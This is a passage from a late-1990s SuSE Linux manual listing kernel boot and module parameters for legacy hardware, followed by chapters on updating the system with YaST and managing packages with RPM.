unexpected_interrupts	Show warnings if something unexpected happens.
no_unexpected_interrupts	and...
L40SX	This value is the opposite of **unexpected_interrupts**.

Table 14.4: Kernel parameter values for **floppy**

- *Future Domain TMC-16x0 SCSI host adapter*
  fdomain=<**addr**>**,**<**irq**>**[,**<**id**>**]**

Variable	Values / Meaning
<**id**>	the host adapter's SCSI ID `0..7`

  This driver also serves the **Adaptec 2920** host adapter.
  Example: **fdomain=0x140,11,7**

- *Future Domain TMC-885/950 host adapter*
  tmc8xx=<**addr**>**,**<**irq**>
  Example: **tmc8xx=0xca000,5**

- *Goldstar R420 CD-ROM drive*
  gscd=<**addr**>

- *Iomega ZIP drive on parallel port*
  ppa=<**addr**>**[,**<**high**>**[,**<**low**>**[,**<**nybble**>**]]]**

Variable	Values / Meaning
<**addr**>	port address
<**high**>	waiting time while transferring data (microseconds)
<**slow**>	waiting time for other operations
<**nybble**>	if '`1`', use 4-bit mode

- *Logitech bus mouse*
  bmouse=<irq>

- *Mitsumi CD-ROM drive*
  mcd=<addr>,<irq>[,<wait>]

Variable	Values / Meaning
<**wait**>	value for waiting time while starting

  You can vary the parameter <**wait**> between `0` and `10` if the CD-ROM drive does not react fast enough on system requests (`"timeout"`) and, therefore, does not find the root image while installing.
  Example: **mcd=0x300,10,5**

- *Mitsumi CD-ROM drive (multisession)*
  mcdx=<addr>,<irq>
  Example: **mcd=0x300,10**

- *Mozart interface*
  isp16=<addr>,<irq>,<dma>,<type>

Variable	Values / Meaning
<**type**>	Sanyo, Panasonic, Sony, Mitsumi

  This driver is responsible for CD-ROM drives connected to either of **ISP16**, **MAD16** or **Mozart**. The value of <**type**> follows the interface plug where the CD-ROM is connected to the sound card.
  Example: **isp16=0x340,10,3,Sony**

- *NCR 5380 SCSI host adapter family*
  ncr5380=<addr>,<irq>,<dma>
  ncr5380=0x340,10,3

- *NCR 53c406a SCSI host adapter family*
  ncr53c406a=<addr>[,<irq>[,<fastpio>]]

Variable	Values / Meaning
<**fastpio**>	0, if no fast PIO mode is wanted

  Example: **ncr53c406a=0x340,10,0**

- *Optics Storage 8000 AT CD-ROM drive*
  optcd=<addr>
  Example: **optcd=0x340**

- *Parallel port CD-ROM drives*
  bpcd=<addr>
  Example: **bpcd=0x37f**

- *Philips CM206 CD-ROM drives*
  cm206=<addr>,<irq>
  Example: **cm206=0x340,10**

- *Pro Audio Spectrum 16 SCSI host adapter*
  pas16=<addr>,<irq>
  Example: **pas16=0x340,10**

- *Reboot mode* (on leaving Linux)
  reboot=<modus>
  Here, you have the following values for <**modus**>:

Variable	Values / Meaning
`warm`	warm reboot (no memory check)
`cold`	cold reboot (with memory check)
`bios`	BIOS reboot
`hard`	CPU crash reboot (triple fault)

  Example: **reboot=cold**
  This boots the machine after shutdown as if the reset button had been pressed.

- *Protecting memory segments* (Reserve)
  reserve=<start1>,<range1>,...,<startN>,<rangeN>
  By means of this parameter, you can reserve memory space for hardware which does not like being autoprobed and reacts with, e. g., a system crash.
  Example: A "sensitive" networking card can be protected from being autoprobed and initialized by entering:
  reserve=0x330,32 ether=5,0x330,eth0
  In this example, the networking card has a 32 bit data bus which starts at address `0x330` and uses interrupt `5`.
  For the full description of networking card parameters, see section 14.3.2, page 294.

- *Passing root partitions*
  root=<partition>

Variable	Values / Meaning
<**partition**>	e. g., `/dev/hda1`, `/dev/sdb5`

  Example: **root=/dev/hda5**
  This boots the kernel and tries to load the root partition from the first logical drive in the extended partition on the first (E)IDE hard disk.

- *Sanyo CD-ROM drive*
  sjcd=<addr>
  Example: **sjcd=0x340**

- *SCSI streamer* (Streamer)

  st=<puffer>,<threshold>[,<max>]

Variable	Values / Meaning
<**puffer**>	size of buffer (number of 1 KB blocks)
<**threshold**>	write threshold (number of 1 KB blocks)
<**max**>	maximum number of buffers, e. g., 2 optional

- *Seagate ST01/02 SCSI host adapter*

  st0x=<addr>,<irq>

  Example: **st0x=0xc8000,5**

- *Sony CDU 31/33 A*

  cdu31a=<addr>,<irq>

  Autoprobing of this driver has been removed from the kernel. Thus, you have to set any parameters explicitly.

  Example: **cdu31a=0x340,5**

  If there is no interrupt assigned to the drive, and if you can only access it via polling mode, you have to enter `0` for the IRQ.

  Example: **cdu31a=0x340,0**

  As an example, if this drive is connected to a Pro Audio Spectrum card, this could resemble the following line:

  Example: **cdu31a=0x1f88,0,PAS**

- *Sony CDU 535*

  sonycd535=<addr>,<irq>

  Example: **sonycd535=0x340,10**

- *Size of main memory* (RAM)

  mem=<size>

  Size of memory can be entered in three different ways: in bytes, kilobytes or megabytes. These examples show the different ways using a size of 96 MB.

  Examples:

  mem=96M
  mem=96000k
  mem=96000000

- *SoundBlaster Pro 16 MultiCD*

  sbpcd=<addr>,<type>

Variable	Values / Meaning
<**type**>	`LaserMate`, `SPEA`, `SoundBlaster`

  Example: **sbpcd=0x340,10**

Since probing this driver takes extremely long, it is recommended that you disable it using the command:

sbpcd=0

On SuSE boot disks, this is also possible using:

sbpcd=off

- *Trantor T128/128F/228 SCSI host adapter*

  t128=<**addr**>**,**<**irq**>

  Example: **t128=0x340,10**

- *Trantor T130B SCSI host adapter*

  ncr53c400=<**addr**>**,**<**irq**>

  Example: **ncr53c400=0x340,10**

- *XT hard disk controller*

  xd=<**type**>**,**<**irq**>**,**<**addr**>**,**<**dma**>

14.3.3 `insmod` parameters

This section describes those parameters which can be loaded as modules. If you encounter difficulties while loading a driver (although you have entered the parameters), or if there is no section describing the parameter, then you must integrate this driver into a monolithic kernel.

Some drivers do not exist as modules yet and some recognize your hardware properly only if they are compiled into the kernel. Despite this, we recommend you try the "module variant" first.

If a driver is loaded as a module, each and every variable used can be overwritten on the command line. There is, e. g., the variable **io** in the **NE2000** driver which specifies the used I/O range. For this, the correct command for loading this module is (see section 13.2, page 263):

```
earth:/ # insmod ne io=0x300 irq=10
```

or better with **modprobe**:

```
earth:/ # modprobe ne io=0x300 irq=10
```

Be aware that there should be no spaces before or after the "equal". Moreover, hexadecimal values have to be set in the given form (with a leading '`0x`').

> If you want to enter more than one parameter they must be separated by blanks. This is the main difference to entering parameters at the LILO prompt where no blanks should be used within parameters for one driver.

The parameters you enter here can also be integrated into `/etc/conf.modules`. Here many parameters can be assigned to a particular module. This is done one line per module. The line should resemble the following:

options <**module name**> <**parm1**>**=**<**wert1**> **...**

where:

Variable	Values / Meaning
<**module name**>	name of the module without extension `.o`
<**parm1**>	parameter #1
<**wert1**>	value that is assigned to parameter #1

An entry for the NE2000 card might look like:

`options ne io=0x300 irq=10`

We now list the most important parameters for most modules used.

- *3Com 3c501 / 3c503 / 3c505 / 3c507 networking cards*
  Name of module: `3c501.o,3c503.o,3c505.o,3c507.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe 3c509 io=0x300 irq=10`**

- *3Com 3c509 / 3c579 networking cards*
  Name of module: `3c509.o,3c579.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>
xcvr	0: intern; 1: extern

Example: **`modprobe 3c509 io=0x300 irq=10 xcvr=0`**

- *Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI host adapter*
  Name of module: `aha152x.o`
  aha152x=<addr>,<irq>,<id>[,<rec>[,<par>]]

Variable	Values / Meaning
<**id**>	SCSI ID of the host adapter: 0, 1
<**rec**>	reconnect: 0, 1
<**par**>	parity: 0, 1

Example: **`modprobe aha152x aha152x=0x300,10,7,1,1`**

- *AdvanSys SCSI host adapter*
  Name of module: `at1700.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe at1700 io=0x300 irq=10`**

- *Aztech CDA268-01 CD-ROM drive*
  Name of module: `aztcd.o`

Parameter	Value
aztcd	<**addr**>

Example: **`modprobe aztcd aztcd=0x300`**

- *Cabletron E21xx networking card*
  Name of module: `e2100.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>
mem	<**addr**>
xcvr	0: intern; 1: extern

Example: **`modprobe e2100 io=0x300 irq=10 mem=0xd000`**

- *Digital DE425 / 434 / 435 / 450 / 500 networking cards*
  Name of module: `de4x5.o`
  io=0x<**bus**><**device-id**>

Parameter	Value
bus	number of the PCI bus, normally 0
device-id	number of the PCI device

This data is displayed with new PCI BIOSes at boot time. Or you can also view it under Linux using:

```
earth: # cat /proc/pci
```

Example: **`modprobe de4x5 io=0x007`**

- *DECchip Tulip (dc21x4x) networking cards*
  Name of module: `tulip.o`

Parameter	Value
io	<**addr**>
if_port	<**medium**>

where <**medium**> can be one of the following:

Variable	Values / Meaning
-1	auto
0	10TP
1	100TP
2	BNC

Example: **`modprobe tulip io=0x300 if_port=-1`**

- *Digital DEPCA / DE10x / DE20(012) / DE42, EtherWORKS networking cards*
  Name of module: `depca.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe depca io=0x300 irq=10`**

- *D-Link DE620 pocket adaptor networking card*
  Name of module: `de620.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>
bnc	1 if BNC I/O
utp	1 if UTP I/O

Example: **`modprobe de620 io=0x300 irq=10 bnc=1 utp=0`**

- *EtherWORKS 3 (DE203, DE204, DE205) networking card*
  Name of module: `ewrk3.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe ewrk3 io=0x300 irq=10`**

- *Intel EtherExpress 16 networking card*
  Name of module: `eexpress.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe eexpress io=0x300 irq=10`**

- *Intel EtherExpressPro networking card*
  Name of module: `eepro.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>
mem	<**addr**>

Example: **`modprobe eepro io=0x300 irq=10 mem=0xd000`**

- *Fujitsu FMV-181/182/183/184 networking card*
  Name of module: `fmv18x.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe fmv18x io=0x300 irq=10`**

- *Future Domain TMC-16x0 controller*
  Name of module: `fdomain.o`

Parameter	Value
setup_called	1
port_base	<**addr**>

Example: **`modprobe fdomain setup_called=1 port_base=0x300`**

- *Goldstar R420 CD-ROM drive*
  Name of module: `gscd.o`

Parameter	Value
gscd	<**addr**>

Example: **`modprobe gscd gscd=0x300`**

- *HP PCLAN+ (27247B and 27252A) networking card*
  Name of module: `hp-plus.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe hp-plus io=0x300 irq=10`**

- *HP PCLAN (27245 / 27xxx) networking card*
  Name of module: `hp.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe hp io=0x300 irq=10`**

- *HP 10/100 VG-AnyLAN (ISA, EISA, PCI) networking cards*
  Name of module: `hp100.o`

Parameter	Value
hp100_port	<**addr**>

Example: **`modprobe hp100 hp100_port=0x300`**

- *IBM Tropic chipset Token Ring networking card*

  Name of module: `ibmtr.o`

Parameter	Value
io	<**addr**>

  Example: **modprobe ibmtr io=0x300**

- *ICL EtherTeam 16i / 32 networking cards*

  Name of module: `eth16i.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

  Example: **modprobe eth16i io=0x300 irq=10**

- *Mitsumi CD-ROM drive*

  Name of module: `mcd.o`

  mcd=<**addr**>**,**<**irq**>**[,**<**wait**>**]**

Variable	Values / Meaning
<**wait**>	Delay at startup time

  You can vary the <**wait**> from `0` to `10` if the CD-ROM drive does not react fast enough (`"timeout"`), thus probably not finding the root image during installation.

  Example: **modprobe mcd mcd=0x300,10,5**

- *Mitsumi CD-ROM drive (multisession)*

  Name of module: `mcdx.o`

  modprobe mcdx mcdx=<**addr**>**,**<**irq**>

- *Mozart Sound Card with CD-ROM drive interface*

  Name of module: `isp16.o`

  isp16=<**addr**>**,**<**irq**>**,**<**dma**>**,**<**type**>

Variable	Values / Meaning
<**type**>	Sanyo, Panasonic, Sony, Mitsumi

  This driver is responsible for CD-ROM drives connected to either of **ISP16**, **MAD16** or **Mozart**. The value of <**type**> follows the interface plug where the CD-ROM is connected to the sound card.

  Example: **modprobe isp16 isp16=0x300,10,1,sony**

- *Novell NE2000 / NE1000 networking cards*

  Name of module: `ne.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **modprobe ne io=0x300 irq=10**

- *NI6510 (AM7990 "lance" Chip) networking card*
  Name of module: `ni6510.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>
memstart	<**addr**>
memend	<**addr**>

Example: **modprobe ni6510 io=0x300 irq=10**

- *Optics Storage 8000 AT CD-ROM drive*
  Name of module: `optcd.o`

Parameter	Value
optcd	<**addr**>

Example: **modprobe optcd optcd=0x300**

- *Parallel port IP (PLIP)*
  Name of module: `plip.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **modprobe plip io=0x300 irq=10**

- *Philips CM206 CD-ROM drive*
  Name of module: `cm206.o`
  cm206=<**addr**>**,**<**irq**>
  Example: **modprobe cm206 cm206=0x300,irq=10**

- *Sanyo CD-ROM drive*
  Name of module: `sjcd.o`

Parameter	Value
sjcd	<**addr**>

Example: **modprobe sjcd sjcd=0x300**

- *SMC Ultra networking card*
  Name of module: `smc-ultra.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>

Example: **`modprobe smc-ultra io=0x300 irq=10`**

- *SMC 9194 networking card*
  Name of module: `smc9194.o`

Parameter	Value
io	<**addr**>
irq	<**irq**>
if_port	<**medium**>

where <**medium**> can be one of the following:

Variable	Values / Meaning
0	auto
1	TP
2	AUI, 10base2

Example: **`modprobe smc9194 io=0x300 irq=10 if_port=2`**

- *Sony CDU 31/33 A*
  Name of module: `cdu31a.o`

Parameter	Value
cdu31a_port	<**addr**>
cdu31a_irq	<**irq**>

Example: **`modprobe cdu31a cdu31a_port=0x300 cdu31a_irq=10`**

- *Sony CDU 535*
  Name of module: `sonycd535.o`

Parameter	Value
sonycd535	<**addr**>

Example: **`modprobe sonycd535 sonycd535=0x300`**

- *SoundBlaster Pro 16 MultiCD*
  Name of module: `sbpcd.o`
  sbpcd=<**addr**>**,**<**type**>
  where <**type**> can be one of the following:

Variable	Values / Meaning
0	`LaserMate`
1	`SoundBlaster`
2	`SoundScape`
3	`Teac16bit`

Example: **`modprobe sbpcd sbpcd=0x300,1`**

- *Western Digital WD80x3 networking card*
  Name of module: `wd.o`

Parameter	Value
`io`	<**`addr`**>
`irq`	<**`irq`**>

Example: **`modprobe wd io=0x300 irq=10`**

Part VII

SuSE Linux: Update and specialities

Chapter 15

Updating the system and package management

15.1 Updating SuSE Linux

SuSE Linux offers you the option of updating an existing system without having to reinstall everything. But it is important to distinguish between updating one or a few packages and updating the entire system to the latest distribution.

> It is quite usual that software "grows". Thus it is recommended to have a look at how the partitions are occupied with **`df`** *before* updating! If you think there could be to little space available consider making a backup and repartition (see section 2.9, page 46).
> There is no rule of thumb of how much space you need in particular. This depends on the existing partitions, the selected software and which version you want to update SuSE Linux 6.0from

Make sure to save the old configuration files to an extra medium as streamer, removeable disks, disks or ZIP drives. Normally these are the files under `/etc` and `/var/lib` (e. g. for News, UUCP, xdm).

> Before updating **PostgreSQL** (package `postgres`) it is recommended to dump the databases (see manpage of **`pg_dump`** (**`man pg_dump`**)). This nevertheless is only needed if you used PostgreSQL *before*.

15.1.1 Updating the base system

Since updating the base system changes all central parts (e. g., libraries) of the system, this can't be done while the system is running.

Before launching the update process, please write down the device name of your root partition. In this case, `/dev/sda2` would be your root partition.This is provided by the command:

```
earth: # df /
```

You have to launch the installation system just as with a normal installation – either using the supplied boot disk or directly from CDROM as described in section 2.3.1

```
  Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/sda2         45152  30121    12622      70%     /
```

In general, you have to perform the following steps: **linuxrc** is first launched after booting. Here you need to choose the language, monitor and keyboard in 'Settings' and press 'OK' when you have finished. Now make sure to load every needed driver by selecting 'Kernel modules'. The exact procedure is given in the **linuxrc** description in section 16.2, page 325. After this has been done, selecting 'Installation / Startup system' and 'Startup installation' leads you to the selection of your source medium (see section 16.2, page 327). Thereafter, **linuxrc** exits and YaST starts automatically.

In YaST́s main menu you may select 'Update existing system'. YaST now tries to determine the root partition and presents the result. Here you now select your root partition as given above (Example: /dev/sda2).

YaST now reads the the existing "old" /etc/fstab and mounts the partitions it found in this file. Now please select 'Continue'.

After going back to the main menu by pressing Esc , choose 'Updating your system' (section 3.2). Now your old system is analyzed by YaSTand the results are presented in a list.

If it is still an **a.out** system, YaST automatically converts it to ☞*ELF*.

After that, all central configuration files of the system are updated. YaST creates backup files of those files that have changed since the last installation.

When the base system has been updated, you are lead to YaST's special update mode where you can decide which packages to update. Furthermore old configuration files will be saved as .rpmorig or .rpmsave (see section 15.3.1, page 317). This procedure is logged to /var/adm/inst-log/installation-* and may be consulted later on.

15.1.2 Updating other packages

If the base system has been actualized you are lead to YaST́s special update mode. Here you may update the rest of your systems as you like.

YaST offers two lists. The first list shows those packages YaST has recognized and decided that an update could be useful. The second list shows you a list of packages where this is not so simple (perhaps the old package does work but gives no information about its version).

Between these two lists, you can decide which packages should be updated. When you begin the update, all selected packages will be replaced by the new ones—but saving all files that have been changed since the last installation.

After completing this task, you should proceed as with a normal installation. If your system has been converted from **a.out**, to ELF, perhaps you should install a newer kernel.[1].

[1] Yours might not even recognize the ELF format

If you want the system not to be rebooted in its normal runlevel (see standard runlevel section 17.2, page 334), but would like YaST to complete the installation please enter the following at the LILO prompt:

```
NO_AUTO_SETUP=true
```

This is parameter is especially useful if you encounter problems with normal booting. Problems might occur if you access vital parts of your system via e. g. PCMCIA. For continuing the configuration part you may proceed as follows:

1. Enter the following parameter at the LILO prompt:
   ```
   boot: linux NO_AUTO_SETUP=true
   ```
2. Become user 'root' and invoke YaST as: **yast --nomenu** for completing its configuration tasks.
3. Invoke **/lib/YaST/bootsetup.conf** as 'root'.

The experienced "Linuxer" might not want to start in the default runlevel, but in the "single user mode" by entering **single** at the LILO prompt. .

15.1.3 Updating of single packages

With SuSE Linux, you can update single packages whenever you want. In YaST's package list (see section 3.12.3), you can move around as you please. If you select a package necessary for the system to run, you will be warned by YaST. Such packages should be replaced only in update mode. For example, many packages contain *shared libraries* which could be in use when you want to run an update. Updating shared libraries on a running system will inevitably cause malfunction.

15.2 From version to version

In the following sections, we list problematic details which have been changed from release to release. In this overview will appear such things as configuration file syntax changes and aberrant behavior of well-known programs. But only those anomalies are listed which might cause problems for the administrator or the user.

This list is probably incomplete. Please, also consult the Support Data Base—found in package sdb, series doc (cf. section I.1.3, page 428).

Known problems and other specialties will be announced on http://www.suse.de/Support/sdb.

15.2.1 From earlier versions to 4.x

The **init** scripts in /etc/rc.d which used to bring up the system have been replaced by a system that is able to organize the different runlevels in accordance to **System V**. Since the filesystem standard does not allow executables under /etc, the **init** scripts have been moved to /sbin/init.d. Automatic conversion of old configuration files isn't possible in all cases. Therefore, you will have to edit some files by hand. The goal is, that from now on, system relevant configurations may be done without booting.

Since all vital settings will be stored in a system wide config file (`/etc/rc.config`), future updates will be easy to perform.

SuSE Linux tries to be FSSTD (filesystem standard) compatible (or its successor Filesystem Hierarchy Standard FHS package `fhs`, series `doc`). That's why some paths have changed:

- Lock files are under `/var/lock`.
- system log files (Boot messages, warnings, output of **pppd** etc.) are located under `/var/log`.
- Log files of **UUCP** are in `/var/spool/uucp/Log` and `/var/spool/uucp/Stats`.
- The directory `/usr/data` has been replaced by `/usr/share`. Sound and pictures are located in this directory.

15.2.2 From 4.x to 5.0

Problems and special issues:
`http://www.suse.de/Support/sdb/maddin_bugs5.html`.

- Package management changed from `TGZ` to `RPM` (cf. section 15.3).
- New **Bash**.(see SDB `http://www.suse.de/Support/sdb/maddin_bash2.html` as well as `http://www.suse.de/Support/sdb/maddin_inputrc.html`).
- **`startx`** is no longer started in the background (see SDB `http://www.suse.de/Support/sdb/maddin_xprompt5.html`) .
- To start `Samba`, set the variable `START_SMB=yes` in `/etc/rc.config`.
- System relevant cron jobs are now listed in `/etc/crontab` (see section 16.4.1, page 330) .
- Put all users in the new group `'dialout'` who are allowed to execute "dialout" programs (**minicom**, **pppd**, etc.).
- The filesystem of the rescue system is modeled after the layout of the running system.
- Functionality of `/etc/securetty` is now handled by `/etc/login.defs`.

15.2.3 From 5.0 to 5.1

Problems and special issues: `http://www.suse.de/Support/sdb/maddin\_bugs51.html`.

- LILO case 1: The loaders `any_b.b` and `any_d.b` are obsolete (see. section 12, page 88).
- LILO case 2: In case of troubles while booting with a SCSI hostadapter Adaptec 2940 (different types) you should *not* set the option `linear` in `/etc/lilo.conf` anymore (see section 4.4.2, page 89) .
- "optional" software (e. g. **KDE** oder **Applix*ware***) is installed under `/opt` (see section 2.9, page 47).

- Due to space reasons the package descriptions are no longer part of the book but may be found on the first CD in /docu. The German files are: pkg_German.dvi and pkg_German.ps, the English files: pkg_English.dvi and pkg_English.ps.
- The "Hardware chapter" does no longer exist. An alternative is the "CDB" (Component DataBase: package cdb, series doc or online under http://www.suse.de/cdb/deutsch/ or http://www.suse.de/cdb/english/).
- **sendmail**'s m4 files are located under /usr/share/sendmail.
- The sources have been packed as so called "Source RPMS" (see http://www.suse.de/Support/sdb/ke_source-rpm.html).

15.2.4 From 5.1 to 5.2

Problems and special issues:
http://www.suse.de/Support/sdb/maddin_bugs52.html.

- YaST: the series ALL may be selected from 'Series selection' with F4 (= 'Sort') (see section 3.12.3, page 65).
- The XSuSE server are now part of the official XFree86 sources. Please use the standard servers from series x. *Exception:* XSuSE_Elsa_GLoria (package xglint), for Glint or Permedia based gaphics devices.
- Due to security reasons the X server are no longer set to suid root (without the s bit). You need to start the X Window System via the **Xwrapper** (via **startx**) or by using a display manager (**xdm** oder **kdm**).
- **wuftpd** has become the default FTP server in /etc/inetd.conf (see SDB http://www.suse.de/Support/sdb/grimmer_ftpd.html).
- The options for **ps** are no longer preceeded by a '-'. Please adapt your shell scripts accordingly (see SDB http://www.suse.de/Support/sdb/maddin_ps52.html).
- **SuSEconfig** (see section 17.6) now understands some options which accelerate your work.

15.2.5 From 5.2 to 5.3

Problems and special issues:
http://www.suse.de/Support/sdb/bugs53.html.

- The first installation of SuSE Linux is straight forward ("linear"). For those who want to use the "old" way, please select YaST's 'Expert mode' (see figure 2.2, page 17).
- Besides the boot disk there is an optional modules disk containing additional modules. This is only needed for "exotic" hardware (see section 16.2, page 323.)
- The X servers are sorted in series xsrv (X-Server) not in series x anymore.
- X server for "brand new graphics devices" (XFCom_3DLabs (package x3dlabs; former XSuSE_Elsa_GLoria, package xglint), XFCom_SiS (package xsis; former XSuSE_SiS) and XFCom_Cyrix (package xcyrix) have been developped by SuSE.

- Users who should access terminal programs such as **minicom** or **seyon** need to be added to group 'uucp' (see http://www.suse.de/Support/sdb/ke_terminal-prog.html).
- **Emacs** comes as version 20.x. The adapted startup files under /etc/skel should be used (see http://www.suse.de/Support/sdb/ke_emacs-update.html).
- The SGML parser tools from package jade_dsl are now a separate package package sp.
- **PostgreSQL** (package postgres) consists of a number of sub packages: Database engine, Database initialization and interfaces.
- Man pages have been moved from package allman to different sub packages (see http://www.suse.de/Support/sdb/ke_lpdmanxx.html).

15.2.6 From 5.3 to 6.0

Problems and special issues:
http://www.suse.de/Support/sdb/bugs60.html.

- As suggested by the kernel sources the boot kernel will be installed to /boot. If you do an update make sure the paths in /etc/lilo.conf are set correctly when YaST prompts you for the change. If you still want to use the old kernel in /vmlinux you need to interrupt the process and set up LILO accordingly.
- The system libraries have changed to **glibc** (also known as libc6). Updating programs packages from SuSE Linux should not cause any trouble. You should re compile your own programs after the update and link them against **glibc**. If this is not possible (e. g.you do not have the sources) you still have the possibility of installing package shlibs5 (libc5). Now "older" programs should run.
- SuSE Linux comes with the latest **teTeX** version. As this packages is installed according to the Filesystem Hierarchy Standard (FHS) it need additional space (app. 15 MB) under /var. **teTeX** has been split up in several sub packages so if something is missing make sure that everything has been installed by having a look at series tex.
- The LaTeX extensions package colortbl and package hyperref are now part of **teTeX**.
- The **DocBook** style sheets are now located in package docbkdsl (series sgm).

15.3 RPM—the package manager

RPM (**rpm**), the "Red Hat Package Manager", was introduced in SuSE Linux 5.0. The RPM database makes available detailed information about the installed software packages, making life easier for everyone: users, system administrators and package builders.

rpm does the following:

- compiles software applications from so-called pristine sources and packages them for installation

- installs, upgrades and cleanly uninstalls software packaged in the RPM format
- supports queries, including dependencies, about packages and maintains the RPM database of installed packages

The reader is referred to the manpage of **rpm** (**man rpm**) and the book *Maximum RPM*, Bailey, 1997, Red Hat, for more information on building RPM packages. The other capabilities of RPM are briefly described below.

Installable RPM archives are packed in a special binary format. These archives consist of program files to install and certain meta-information, which is used by **rpm** to configure the software package or stored in the database as documentation. RPM archives normally have the extension `.rpm`.

15.3.1 Managing packages: install, update and uninstall

Normally, installing an RPM archive is as easy as:

```
earth: # rpm -i <package>.rpm
```

With this command, the package will be installed—but only if its dependency requirements are met and if it does not conflict with another package. With an error message, **rpm** calls for packages to install to fulfill dependencies. In the background, the RPM database takes care that no conflict will arise—a file can belong to only one package. By choosing different options, you can force **rpm** to ignore these defaults, but make sure you know what you are doing. Otherwise, you risk compromising the integrity of the system and might lose the ability to update the system in a straightforward way.

Use `-U` or `--upgrade` to update a package. Using this option will remove the files of the old version and immediately install the new files. **rpm** updates configuration files more cautiously:

- If a configuration file was *never* changed by the system administrator, **rpm** silently replace the file. No action by the system administrator is required.
- If a configuration file was changed by the system administrator *before* the update, **rpm** will save the changed file with the extension `.rpmorig` or `.rpmsave` (backup file) and install the version from the new package, but only when the originally installed file and the new version are different. If this happens, you should compare the backup file (`.rpmorig` or `.rpmsave`) with the newly installed file and make your changes again in the new file. Afterwards, be sure to delete all `.rpmorig` and `.rpmsave` files to avoid problems with future updates. [2]

Obviously, the switch `-U` is more than just uninstalling (`-e`) and installing (`-i`). Use `-U` whenever possible.

[2] `rpm` will choose `.rpmorig`, if the file was unknown in the RPM database until now —otherwise `.rpmsave`. In other words, `.rpmorig` files will be created while updating from a foreign format to RPM and `.rpmsave` while updating one RPM package with another RPM package.

> After every update, you should check all backup files created by **rpm**. These are your old configuration files. If necessary, take your customizations from the old `.rpmorig` or `.rpmsave` files to the new configuration files. After this process, delete the files with the extensions `.rpmorig` and `.rpmsave`.

To remove a package, enter the command:

```
earth: # rpm -e <package>
```

rpm will only erase the package if doing so does not create an unresolved dependency. It theoretically isn't possible to uninstall an old `libc` using **rpm** as long as another program still needs it to work properly—the RPM database watches over it.

15.3.2 RPM queries

With option `-q`, **rpm** initiates queries, making it possible to inspect a RPM archive (by adding the option `-p`) and also to query the RPM database of installed packages. Several switches are available to specify the wanted information (see table 15.1).

`-i`	Summary information
`-l`	File list
`-f <FILE>`	Query a package owning <FILE> (must specify full path with <FILE>)
`-s`	File list with state information (implies `-l`)
`-d`	Documentation files (implies `-l`)
`-c`	Configuration files (implies `-l`)
`--dump`	File list with complete details (to be used with `-l`, `-c` or `-d`)
`--provides`	Capabilities the package provides
`--requires`, `-R`	Capabilities the package requires
`--scripts`	(Un-)installation scripts (pre/post install/uninstall)

Table 15.1: The most important RPM query options (`-q [-p] ...` <package>)

For example, the command

```
earth: # rpm -q -i rpm
```

will display something like the following information:

```
Name        : rpm                    Distribution: S.u.S.E Linux
Version     : 2.4.1                        Vendor: S.u.S.E. GmbH
Release     : 1                        Build Date: Wed Jun 18 14:46:53 1997
Install date: Sat Jun 21 12:01:21 1997  Build Host: Fibonacci.suse.de
Group       :                          Source RPM: rpm-2.4.1-1.src.rpm
Size        : 1365662
Packager    : feedback@suse.de
URL         : (none)
Summary     : Red Hat Package Manager
Description :

RPM is a powerful package manager, which can be used to build, install, query,
verify, update, and uninstall individual software packages. A package consists
of an archive of files, and package information, including name, version, and
description.
```

Option `-f` only works if you specify the complete filename with its full path. Specify as many filenames as you want: e. g.:

```
rpm -q -f /bin/rpm /usr/bin/wget

rpm-2.4.1-1
wget-1.4.5-2
```

If you know only a part of the filename, you will have to use a shell script like:

```
#! /bin/sh
for i in ‘rpm -q -a -l | grep  $1 ‘; do
    echo ≫$i≪ ist in Paket:
    rpm -q -f $i
    echo ""
done
```

File contents 15.3.1: Search packages

With the help of the RPM database, you can do verify checks. These checks are initiated with the option `-V` (or `-y` or `--verify`). With this option, **`rpm`** will show all files of a package which have been changed since being first installed. **`rpm`** uses eight character symbols to give some hints about the kind of change (see table 15.2):

`5`	MD5 check sum
`S`	File size
`L`	Symbolic link
`T`	Modification time
`D`	Major and minor device numbers
`U`	Owner
`G`	Group
`M`	Mode (permissions and file type)

Table 15.2: RPM verify options

In the case of configuration files, the character c will be printed. For example, if you have changed /etc/wgetrc from the package wget, you may see:

```
earth: # rpm -V wget
S.5....T c /etc/wgetrc
```

The files of the RPM database are placed under /var/lib/rpm. If the partition /usr has a size of 500 MB, this database can occupy nearly 20 MB, especially after a complete update. If the database is much bigger than expected, it should help to rebuild the database with the option --rebuilddb. Before rebuilding, make a backup copy of the old database.

The **cron** script **cron.daily** makes gzipped copies of the database and stores them under /var/adm/backup/rpmdb. The number of copies is controlled by the variable <MAX_RPMDB_BACKUPS> (default 5) in /etc/rc.config. The size of one backup is approximately 2 MB. (This value is valid for a 500 MB /usr partition.) You must take this space requirement into account when you decide how large to make the root partition. If /var has its own partition, you don't have to worry about this.

15.3.3 Install and compile source packages

All source packages of SuSE Linux are located in series zq (Source packages) and carry an .spm extension ("Source RPMS").

> These packages may be handled just in the same way as all other packages. The packages nevertheless don't make their way into the RPM database (and are not marked with an [i] in YaST), as only "installed" software is listed.

The directories of **rpm** under /usr/src/packages have to exist (if no own settings have been made e. g.in /etc/rpmrc).

SOURCES this is for the original sources (.tar.gz-files etc.) and for distribution specific adoptions (.dif-files).

SPECS for the "spec" files, sort of a meta Makefile, that control the "build" process.

BUILD Below this directory all the sources are unpacked, patched and compiled.

RPMS This is where the ready "binary" packages are stored.

